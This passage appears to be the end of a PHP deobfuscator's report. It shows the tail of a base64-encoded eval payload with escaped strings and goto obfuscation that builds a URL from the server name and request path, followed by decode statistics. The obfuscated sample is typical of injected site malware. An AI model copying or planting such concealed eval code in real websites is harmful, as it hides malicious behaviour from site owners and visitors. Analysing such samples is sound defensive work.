Hg3NFx4NzRcMTYwXHgzYVx4MmZcNTciIC4gJF9TRVJWRVJbIlx4NTNcMTA1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZcMTE2XDEwMVx4NGRcMTA1Il0gLiAkX1NFUlZFUlsiXDEyMlwxMDVceDUxXHg1NVx4NDVcMTIzXHg1NFx4NWZceDU1XDEyMlx4NDkiXTsgZ290byBCa0FPaTsgelhEOXY6ID8+CjwvYm9keT48L2h0bQ==')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 5b2169d5e5ff16c134654086ee464ef5
Eval Count 1
Decode Time 71 ms